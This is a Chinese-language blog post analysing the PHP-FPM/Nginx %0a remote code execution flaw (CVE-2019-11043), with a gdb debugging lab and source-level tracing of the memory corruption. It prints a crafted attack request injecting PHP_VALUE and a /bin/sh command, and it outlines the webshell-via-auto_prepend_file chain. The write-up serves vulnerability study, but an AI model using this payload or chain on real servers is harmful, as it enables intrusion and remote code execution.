国外安全研究员 Andrew Danau发现向服务器请求的URL中包含%0a 符号时,服务返回异常,疑似存在漏洞。
Nginx+php-fpm的环境中,若Nginx上的fastcgi_split_path_info
指令配置不当,在处理带包含%0a
的URL时会导致正则匹配失效从而PATH_INFO的结果为空。
当Nginx将包含PATH_INFO为空的fastcgi传递给后端php-fpm时,php-fpm接受处理的过程存在逻辑问题,通过精心构造恶意请求可以对php-fpm进行内存污染,进一步可以复写内存并修改php-fpm配置,实现远程代码执行。
自己搭建的方便调试,推荐
安装调试工具gdb
apt install gdb
下载php源码:
wget https://www.php.net/distributions/php-7.1.0.tar.gz
然后对./configure
的配置如下
./configure --prefix=/root/php7.1.0 --enable-phpdbg-debug --enable-debug --enable-fpm CFLAGS="-g3 -gdwarf-4"
这里只安装必要的debug模块+fpm模块,其他模块视需求安装。
CFLAGS="-g3 -gdwarf-4"
是对编译参数进行额外配置,关闭所有的编译优化机制,产生 gdb所必要的符号信息(符号表),并设置dwarf调试信息格式。PHP内核中定义了很多宏,gdb调试中可以通过macro expand xxxx
命令比较方便的展开宏。
编译安装php
make && make install
bin
目录下包含常用的php命令行解释器
sbin
目录下包含fpm,还需要运行的配置文件。
指定fpm的配置文件,从编译后的目录复制php-fpm.conf.default
并重命名为php-fpm.conf
指定php的配置文件,从源码目录中复制php.ini-development
并重命名为php.ini
自行配置php.ini,这里主要配置php-fpm.conf
php-fpm为多进程模型,一个master进程,多个worker进程。
master进程负责管理调度,worker进程负责处理客户端(nginx)的请求。
master进程对work进程管理一共有三种模式:
ondemand
,按需模式,当有请求时才会启动worker
static
,静态模式,启动采用固定大小数量的worker
dynamic
,动态模式,初始化一些worker,运行过程中动态调整worker数量
让fpm的工作模式为static
,并且work进程只有一个,方便进行调试,设置配置文件如下:
pm = static
; The number of child processes to be created when pm is set to 'static' and the
; maximum number of child processes when pm is set to 'dynamic' or 'ondemand'.
; This value sets the limit on the number of simultaneous requests that will be
; served. Equivalent to the ApacheMaxClients directive with mpm_prefork.
; Equivalent to the PHP_FCGI_CHILDREN environment variable in the original PHP
; CGI. The below defaults are based on a server without much resources. Don't
; forget to tweak pm.* to fit your needs.
; Note: Used when pm is set to 'static', 'dynamic' or 'ondemand'
; Note: This value is mandatory.
pm.max_children = 1
; The number of child processes created on startup.
; Note: Used only when pm is set to 'dynamic'
; Default Value: min_spare_servers + (max_spare_servers - min_spare_servers) / 2
pm.start_servers = 1
; The desired minimum number of idle server processes.
; Note: Used only when pm is set to 'dynamic'
; Note: Mandatory when pm is set to 'dynamic'
pm.min_spare_servers = 1
; The desired maximum number of idle server processes.
; Note: Used only when pm is set to 'dynamic'
; Note: Mandatory when pm is set to 'dynamic'
pm.max_spare_servers = 1
运行fpm
./php-fpm -c php.ini -y php-fpm.conf
ps可以发现work进程如期只启动一个:
apt就行,比较关键的配置文件
location ~ [^/].php(/|$) {
fastcgi_split_path_info ^(.+?.php)(/.*)$;
include fastcgi_params;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_index index.php;
fastcgi_param REDIRECT_STATUS 200;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
fastcgi_pass 127.0.0.1:9000;
}
go get -v && go build
要是嫌麻烦也可以直接草P老板作业,很方便
https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
因为不会go语言,因此没有研究exp,通过Wireshark抓包可以发现关键的攻击数据包如下:
分析http请求,实现远程代码执行的方法很容易猜测和理解:
通过PATH_INFO
为空的fastcgi多次修改php-fpm的ini配置选项,设置error_log
的地址为/tmp/a
,并将一句话木马写入,然后设置include_path
等,再通过auto_prepend_file
包含完成远程代码执行。
修改php-fpm的ini就是漏洞的关键,选一条靠后的成型的http请求进行测试和验证:
GET /test.php/PHP_VALUE%0Aerror_reporting=9;;;;;;?a=/bin/sh+-c+'which+which'&QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1Host: 172.16.231.158User-Agent: Mozilla/5.0D-Pisos: 8========================================================================DEbut: mamku tvoyu
使用phpinfo查看结果,error_reporting已经被修改。
fpm中从fastcgi中解析处理ini的源码位置如下
sapi/fpm/fpm/fpm_main.c
通过FCGI_GETENV
获取request
中存储在PHP_VALUE中的ini配置,然后通过zend_parse_ini_string
将配置应用ini。
发送恶意http请求,使用GDB动态跟踪,发现request已经被污染,会解析恶意ini。
这里获取服务器权限的方式和php-fpm未授权访问的方式相似,都是fastcgi中的PHP_VALUE
修改php-fpm的ini,但是php-fpm未授权访问是发送包含PHP_VALUE
的fastcgi请求,而本漏洞则是fpm处理恶意fastcgi请求逻辑错误导致被覆盖为PHP_VALUE
。
下面从头分析修改的error_reporting
的http请求
main/fastcgi.c
fcgi_accept_request
函数中通过accept
函数接受来自客户端的socket连接,并赋给req->fd
。
然后通过fcgi_read_request
读取解析整个fastcgi请求,存储在req
通过外层while
循环,不停地调用fcgi_accept_request
函数,接受连接并读取请求。
equest
变量包含fastcgi请求的信息,结构如下
pwndbg> p * request$4 = { listen_socket = 0, tcp = 0, fd = 3, id = 1, keep = 0, nodelay = 0, closed = 0, in_len = 0, in_pad = 0, out_hdr = 0x0, out_pos = 0x56305ff048d8 "0106", out_buf = "0106000100H0000X-Powered-By: PHP/7.1.0rnContent-type: text/html; charset=UTF-8rnrnHello0103000100b", '00' <repeats 8105 times>, reserved = '00' <repeats 15 times>, hook = { on_accept = 0x56305ebef54a <fpm_request_accepting>, on_read = 0x56305ebef624 <fpm_request_reading_headers>, on_close = 0x56305ebefc43 <fpm_request_finished> }, has_env = 1, env = { hash_table = {0x0, 0x56305ff08600, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff087b0, 0x56305ff08a50, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff086f0, 0x0, 0x0, 0x0, 0x56305ff089c0, 0x0, 0x0, 0x0, 0x56305ff08840, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08780, 0x0, 0x56305ff08720, 0x56305ff08750, 0x0 <repeats 18 times>, 0x56305ff088a0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff086c0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08990, 0x56305ff087e0, 0x56305ff08930, 0x0, 0x56305ff089f0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08960, 0x56305ff08630, 0x0, 0x0, 0x56305ff08900, 0x0 <repeats 14 times>, 0x56305ff08660, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08a80, 0x0, 0x56305ff088d0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08690, 0x0 <repeats 14 times>, 0x56305ff08a20}, list = 0x56305ff08a80, buckets = 0x56305ff085f0, data = 0x56305ff09e10 }}
同时request
存到全局变量,SG(server_context)
中,宏定义如下:
# define SG(v) (sapi_globals.v)extern SAPI_API sapi_globals_struct sapi_globals;
进入init_request_info
函数:
首先从SG(server_context)
中取出request,然后通过FCGI_GETENV
从request更多的fastcgi请求的信息。
FCGI_GETENV宏如下
调用fcgi_quick_getenv函数,其中FCGI_HASH_FUNC
则是根据信息名称计算hash
继续调用fcgi_hash_get函数,此时传入了重要的&req->env
通过hash_value & FCGI_HASH_TABLE_MASK
与运算的到索引idx,FCGI_HASH_TABLE_MASK
宏如下
然后通过h->hash_table[idx]
的元素指针,也就是request->env->hash_table
取出信息,体结构如下
pwndbg> p request.env.hash_table$5 = {0x0, 0x56305ff08600, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff087b0, 0x56305ff08a50, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff086f0, 0x0, 0x0, 0x0, 0x56305ff089c0, 0x0, 0x0, 0x0, 0x56305ff08840, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08780, 0x0, 0x56305ff08720, 0x56305ff08750, 0x0 <repeats 18 times>, 0x56305ff088a0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff086c0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08990, 0x56305ff087e0, 0x56305ff08930, 0x0, 0x56305ff089f0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08960, 0x56305ff08630, 0x0, 0x0, 0x56305ff08900, 0x0 <repeats 14 times>, 0x56305ff08660, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08a80, 0x0, 0x56305ff088d0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08690, 0x0 <repeats 14 times>, 0x56305ff08a20}pwndbg> p request.env.hash_table[1]$6 = (fcgi_hash_bucket *) 0x56305ff08600pwndbg> p * request.env.hash_table[1]$7 = { hash_value = 1793, var_len = 9, var = 0x56305ff06d48 "FCGI_ROLE", val_len = 9, val = 0x56305ff06d52 "RESPONDER", next = 0x0, list_next = 0x0}
这里有比较关键的char *env_path_info = FCGI_GETENV(request, "PATH_INFO");
env_path_info
为指针,不为空,指向的值为空。
pwndbg> p env_path_info$8 = 0x56305ff09e32 ""
继续跟进到重要的path_info
变量部分
path_info = env_path_info + pilen - slen
,跟踪每个涉及的变量
env_path_info
指向空字符串,所以pilen为0。
slen的计算稍微复杂一些,计算的是xxx.php
到?
之间内容的相差部分/PHP_VALUE%0Aerror_reporting=9;;;;;;
的长度
env_script_filename = FCGI_GETENV(request, "SCRIPT_FILENAME");
script_path_translated = env_script_filename;
script_path_translated_len = strlen(script_path_translated);
pt = estrndup(script_path_translated, script_path_translated_len);
len = script_path_translated_len;
slen = len - ptlen;
具体信息如下,slen的长度为34,此时path_info
的值是env_path_info
的指针向前偏移34位。
两个字符串相差的内容和长度可以任意构造,path_info
指针根据偏移的到,因此path_info
指向的位置也是可控。
path_info[0] = 0;if (!orig_script_name || strcmp(orig_script_name, env_path_info) != 0) { if (orig_script_name) { FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name); }
path_info指向的前两个字节被改为00
,然后使用FCGI_PUTENV完成对request对象的污染。
待写入的orig_script_name
的值为/test.php/PHP_VALUEnerror_reporting=9;;;;;;
更改前:
更改后:
这里还需要关注request.env.data.pos变化,slen的长度为34,是为了让path_info指向request.env.data.pos,能够修改最低字节为00
。
该变量具体作用跟进FCGI_PUTENV即可一目了然。
调用fcgiquickputenv函数,参数相比fcgiquickgetenv多了value,其余参数计算相同。
将request.env等参数传递给fcgihashset,计算idx并得到地址p
接着调用fcgi_hash_strndup函数,根据request.env.data.pos的值确定/test.php/PHP_VALUEnerror_reporting=9;;;;;;
的写入位置
写入的区域是根据request.env.data.data作为起始,再根据写入长度数据重新设置request.env.data.pos的值确定下次写入位置。
memcpy写入前:
memcpy写入后:
继续跟进到已经提过的ini获取部分,发现根据PHP_VALUE
字符串得到的索引为105。
在内存污染前查看该部分,发现已经通过payload占位。
污染后已经变为恶意ini。
通过精心构造url、参数、header,使得path_info
首先指向&request.env.data.pos
附近,再利用slen
进一步精准指向&request.env.data.pos
,通过path_info[0]
修改request.env.data.pos
,使得FCGI_PUTENV
写入特定位置,污染为PHP_VALUE
,修改fpm的ini。
写的比较仓促,如有错误欢迎指正。
https://segmentfault.com/a/1190000016868502#articleHeader6
https://bugs.php.net/bug.php?id=78599
https://github.com/neex/phuip-fpizdam
https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/
http://www.rai4over.cn/2019/06/11/PHP%E5%86%85%E6%A0%B8%E5%88%86%E6%9E%90-FPM%E5%92%8Cdisable-function%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/